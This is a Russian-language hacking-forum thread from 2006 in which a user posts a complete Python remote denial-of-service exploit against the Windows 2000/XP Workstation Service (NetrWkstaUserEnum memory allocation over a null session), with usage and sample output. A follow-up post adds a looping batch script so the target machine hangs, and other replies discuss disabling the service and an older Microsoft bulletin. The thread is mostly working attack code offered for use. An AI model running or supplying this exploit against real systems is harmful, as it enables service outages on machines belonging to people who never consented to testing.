Win 2000 SP4/XP SP2 Remote DoS Exploit

Discussion in 'Безопасность и Анонимность' started by _Great_, 26 Dec 2006.

  1. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,118
    Reputations:
    1,139
    Вызов:
    wks_dos.py REMOTE_HOST MEGABYTES_TO_ALLOCATE
    Эксплоит выделяет MEGABYTES_TO_ALLOCATE мегабайт памяти на уязвимой системе за счет ошибки в сервисе Workstation Service.
    Правда у меня при тесте на вмваре она освобождалась через несколько секунд. Но если в цикле пустить сплоит, будут нехилые тормоза на удаленной системе из-за малого объема свободной памяти.

    Как всегда, базовый комплект Python + либа impacket.

    wks_dos.py
    Code:
    #!/usr/bin/python
    # MS Windows Workstation Service NetrWkstaUserEnum() 0day Memory Allocation Remote DoS Exploit
    # Bug discovered by h07 <h07@interia.pl>
    # Tested on:..
    # - Windows XP SP2 Polish
    # - Windows 2000 SP4 Polish + All Microsoft Security Bulletins
    # Example:
    #
    # wks_dos.py 192.168.0.2 512
    #
    # [*] MS Windows NetrWkstaUserEnum() 0day Memory Allocation Remote DoS Exploit
    # [*] Coded by h07 <h07@interia.pl>
    # [*] Connecting to 192.168.0.2:445 (NULL Session)
    # [+] Connected
    # [+] The NETBIOS connection with the remote host timed out.
    # [+] 192.168.0.2: Out of memory
    # [+] Done
    #
    # NetrWkstaUserEnum(max_len = 1024 * 1024 * 512)
    # Exploit --> NULL Session --> PIPE: browser --> NetrWkstaUserEnum() --> Windows XP
    # svchost.exe memory usage: 512 MB
    ##
    
    from impacket.structure import Structure
    from impacket.nmb import NetBIOSTimeout
    from impacket.dcerpc import transport
    from impacket import uuid
    from struct import pack
    from string import atoi
    from sys import argv
    from sys import exit
    
    print "\n[*] MS Windows NetrWkstaUserEnum() 0day Memory Allocation Remote DoS Exploit"
    print "[*] Coded by h07 <h07@interia.pl>"
    
    if(len(argv) < 3):
      print "[*] Usage: %s <host> <memory_size(MB)>" % (argv[0])
      print "[*] Sample: %s 192.168.0.1 512" % (argv[0])
      exit()
    
    MB = 1024 * 1024
    host = argv[1]
    memory_size = MB * atoi(argv[2])
    pipe = 'browser'
    UUID = ('6bffd098-a112-3610-9833-46c3f87e345a', '1.0')
    
    stringbinding = "ncacn_np:%(host)s[\\pipe\\%(pipe)s]"
    stringbinding %= {'host':host, 'pipe':pipe}
    
    def utf16(str):
       return str.encode('utf_16_le')
    
    class B1(Structure):
       alignment = 4
       structure = (
           ('id', '<L=0x41414141'),
           ('max', '<L'),
           ('offset', '<L=0'),
           ('actual', '<L'),
           ('str', '%s'),
       )
    
    class NetrWkstaUserEnum(Structure):
       alignment = 4
       opnum = 2
       structure = (
           ('server', ':', B1),
           ('info_level1', '<L=1'),
           ('info_level2', '<L=1'),
           ('referent_id1', '<L=0x42424242'),
           ('num_entries', '<L=0'),
           ('null_pointer', '<L=0'),
           ('max_len', '<L'),
           ('referent_id2', '<L=0x43434343'),
           ('enumeration_handle', '<L=0x00000000'),
       )
    
    query = NetrWkstaUserEnum()
    server = "%s\x00" % (host)
    query['server'] = B1()
    query['server']['id'] = 0x41414141
    query['server']['actual'] = len(server)
    query['server']['max'] = len(server)
    query['server']['str'] = utf16(server)
    query['max_len'] = memory_size
    
    trans = transport.DCERPCTransportFactory(stringbinding)
    
    print "[*] Connecting to %s:445 (NULL Session)" % (host)
    
    try:
      trans.connect()
    
    except Exception, err:
      print "[-] %s" % (err)
      exit()
    
    print "[+] Connected"
    
    dce = trans.DCERPC_class(trans)
    dce.bind(uuid.uuidtup_to_bin((UUID[0], UUID[1])))
    dce.call(query.opnum, query)
    
    try:
      raw = dce.recv()
      status = raw[-4:]
    
      if(status == pack("<L", 0x00000005)):
          print "[-] Return code: Access denied"
          exit()
    
      if(status == pack("<L", 0x00000008)):
          print "[-] Return code: Memory allocation error, out of memory"
          exit()
    
      if(status == pack("<L", 0x00000000)):
          print "[+] Return code: Success, memory allocated"
    
    except NetBIOSTimeout, err:
      print "[+] %s" % (err)
      print "[+] %s: Out of memory" % (host)
    
    print "[+] Done"
    
    # EoF
    
    Source: http://www.securitylab.ru/poc/extra/283320.php
     
    1 person likes this.
  2. karabym

    karabym Elder - Старейшина

    Joined:
    14 Dec 2006
    Messages:
    196
    Likes Received:
    30
    Reputations:
    1
    Это как переводиться этот сервис на русской винде ?!
     
  3. karabym

    karabym Elder - Старейшина

    Joined:
    14 Dec 2006
    Messages:
    196
    Likes Received:
    30
    Reputations:
    1
    Рабочая станция :) дык это ее даж не получится заглушить...
     
  4. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,118
    Reputations:
    1,139
    Рабочая станция по идее, если дословно перевести. Короче на домашних пк он всегда включен по идее
     
  5. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,118
    Reputations:
    1,139
    Заглушить получится. Этот сервис в лице универсального хоста для сервисов svchost.exe убивается TaskManager'ом. Правда, туго без него будет. Зато от доса спасёт)
     
  6. karabym

    karabym Elder - Старейшина

    Joined:
    14 Dec 2006
    Messages:
    196
    Likes Received:
    30
    Reputations:
    1
    А нет отключается на ура :) спасибо теперь по комфортней :))
     
  7. karabym

    karabym Elder - Старейшина

    Joined:
    14 Dec 2006
    Messages:
    196
    Likes Received:
    30
    Reputations:
    1
    На что повлияет ?!
     
  8. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,118
    Reputations:
    1,139
    Хз :)

    Вот батничек, чтобы завесило конкретно)
    Code:
    @echo off
    :label
    h:\Python25\python.exe wks_dos.py %1 %2
    goto label
    
    Параметры те же. Путь к питону прописать свой)

    Я для начала попробовал 600 мегов, варька молча заткнулась и перестала подавать признаки жизни :)
     
    1 person likes this.
  9. karabym

    karabym Elder - Старейшина

    Joined:
    14 Dec 2006
    Messages:
    196
    Likes Received:
    30
    Reputations:
    1
    Я чет не пойму это свеже всплывший сплойт чтоль ?!
     
  10. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,118
    Reputations:
    1,139
    Фиг знает) Сегодня выложили
     
  11. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,118
    Reputations:
    1,139
    Вот скрин с вари. Попытка запуска Visual C++ обернулась сами видите чем)

    [​IMG]
     
  12. karabym

    karabym Elder - Старейшина

    Joined:
    14 Dec 2006
    Messages:
    196
    Likes Received:
    30
    Reputations:
    1
    11 ноября 2003 г. корпорация Microsoft опубликовала бюллетень MS03-49, посвященный обнаружению серьезной уязвимости в системе безопасности операционной системы Windows, классифицируемой по шкале угроз компании как "критическая" (Critical).

    Переполнение буфера в сервисе рабочей станции может привести к запуску кода

    Уязвимости подвержены следующие версии операционной системы Windows:
    Microsoft Windows 2000 Service Pack 2, 3, 4
    Microsoft Windows XP, Microsoft Windows XP Service Pack 1
    Microsoft Windows XP 64-Bit Edition
    Для пользователей Windows XP, на компьютерах которых уже установлен патч из бюллетеня MS03-043 от 15 октября 2003 г., не требуется установка патча, которому посвящен данный бюллетень.

    Уязвимостью невозможно воспользоваться, если на компьютере блокированы порты UDP/138, 139, 445 и TCP/ 138, 139, 445 (например, посредством сетевого экрана). Большинство брандмауэров, включая и Internet Connection Firewall в Windows XP, блокируют эти порты по умолчанию.

    Уязвимость состоит в наличии непроверяемого буфера в сервисе рабочей станции (Workstation service) и может привести к запуску кода в атакованной системе. В случае осуществления успешного нападения атакующий получает привилегии системного администратора, после чего становится возможным осуществление в пораженной системе любых действий, включая установку программ, чтение файлов, внесение изменений в данные и удаление их, создание новый аккаунтов.

    Получается усовершенствовали :)
     
  13. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,118
    Reputations:
    1,139
    Это не та бага. Там было переполнение с выполнением любого кода.
    А тут просто аллокация памяти